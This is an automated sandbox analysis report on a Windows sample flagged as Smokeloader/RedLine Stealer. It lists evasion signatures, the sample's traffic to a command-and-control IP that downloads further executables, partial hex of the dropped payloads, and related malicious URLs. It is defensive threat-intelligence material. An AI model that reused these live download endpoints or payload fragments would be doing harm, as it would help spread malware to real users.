Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572088
MD5:	054b1e771a301c1e792397a683ed0a90
SHA1:	eb209469e0b66a485b135012cf43538ceb9dc96c
SHA256:	6b2391a7841833a3524f5034b7287e55f4c8fbec8678ecf7a6040ada9c07fde1
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

file.exe (PID: 7568 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 054B1E771A301C1E792397A683ED0A90)

WerFault.exe (PID: 7264 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7568 -s 576 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004035B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B53817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04B53817

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 03:49:43 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=86Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 02
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 03:49:44 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=85Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 80.82.65.70 80.82.65.70

Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empB
Source: file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/downloadv5
Source: file.exe, 00000000.00000002.2403940495.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key5
Source: file.exe, 00000000.00000002.2403940495.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keyU
Source: file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: file.exe, 00000000.00000002.2403940495.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download.
Source: file.exe, 00000000.00000002.2403940495.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download2
Source: file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadGs-
Source: file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadMsW
Source: file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadSs9
Source: file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadws
Source: file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadSs9
Source: file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadws
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2155798821.00000000059B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154673575.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155912759.0000000005A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155032478.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156925842.00000000059C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156558413.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154029124.0000000005692000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: file.exe, 00000000.00000003.2155798821.00000000059B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154673575.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155912759.0000000005A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155032478.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156925842.00000000059C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156558413.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154029124.0000000005692000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: file.exe, 00000000.00000003.2155798821.00000000059B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154673575.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155912759.0000000005A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155032478.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156925842.00000000059C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156558413.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154029124.0000000005692000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
